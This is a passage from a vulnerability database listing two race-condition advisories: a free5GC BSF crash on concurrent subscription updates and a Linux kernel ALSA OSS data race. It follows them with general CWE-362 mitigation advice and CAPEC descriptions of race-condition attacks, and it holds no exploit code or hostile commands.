outage.\n\nNo Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/926\nUpstream fix: https://github.com/free5gc/bsf/pull/7",
"id": "GHSA-27ph-8q4f-h7m7",
"modified": "2026-06-08T20:11:57Z",
"published": "2026-05-08T22:41:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-27ph-8q4f-h7m7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44318"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/free5gc/issues/926"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/bsf/pull/7"
},
{
"type": "WEB",
"url": "https://github.com/free5gc/bsf/commit/277908565fd628d974a13ef562b81a8b7b519ffa"
},
{
"type": "PACKAGE",
"url": "https://github.com/free5gc/free5gc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "free5GC\u0027s BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions"
}
GHSA-27PV-W59X-HR4J
Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-05-30 12:30In the Linux kernel, the following vulnerability has been resolved:
ALSA: pcm: oss: Fix data race at accessing runtime.oss.trigger
Currently the runtime.oss.trigger field may be accessed concurrently without protection, which may lead to the data race. And, in this case, it may lead to more severe problem because it's a bit field; as writing the data, it may overwrite other bit fields as well, which confuses the operation completely, as spotted by fuzzing.
Fix it by covering runtime.oss.trigger bit fled also with the existing params_lock mutex in both snd_pcm_oss_get_trigger() and snd_pcm_oss_poll().
{
"affected": [],
"aliases": [
"CVE-2026-46157"
],
"database_specific": {
"cwe_ids": [
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-28T10:16:31Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: oss: Fix data race at accessing runtime.oss.trigger\n\nCurrently the runtime.oss.trigger field may be accessed concurrently\nwithout protection, which may lead to the data race. And, in this\ncase, it may lead to more severe problem because it\u0027s a bit field; as\nwriting the data, it may overwrite other bit fields as well, which\nconfuses the operation completely, as spotted by fuzzing.\n\nFix it by covering runtime.oss.trigger bit fled also with the existing\nparams_lock mutex in both snd_pcm_oss_get_trigger() and\nsnd_pcm_oss_poll().",
"id": "GHSA-27pv-w59x-hr4j",
"modified": "2026-05-30T12:30:25Z",
"published": "2026-05-28T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46157"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/49f9d048845be874df7997e4b1ce662de450c4b6"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6b01c1bc9a4748ab37548a700a8aaff910e298e6"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/901ac0ff15edf9503162e2cf6579bd11a30f1ed4"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/ac3e9b55b7da6f0be51720bd330a0edc1a8b61f1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
Mitigation
Use thread-safe capabilities such as the data access abstraction in Spring.
Mitigation
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
- Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
When using multithreading and operating on shared variables, only use thread-safe functions.
Mitigation
Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.
Mitigation
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Mitigation
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.
Mitigation
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.
Mitigation
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CAPEC-26: Leveraging Race Conditions
The adversary targets a race condition occurring when multiple processes access and manipulate the same resource concurrently, and the outcome of the execution depends on the particular order in which the access takes place. The adversary can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance, a race condition can occur while accessing a file: the adversary can trick the system by replacing the original file with their version and cause the system to read the malicious file.
CAPEC-29: Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly.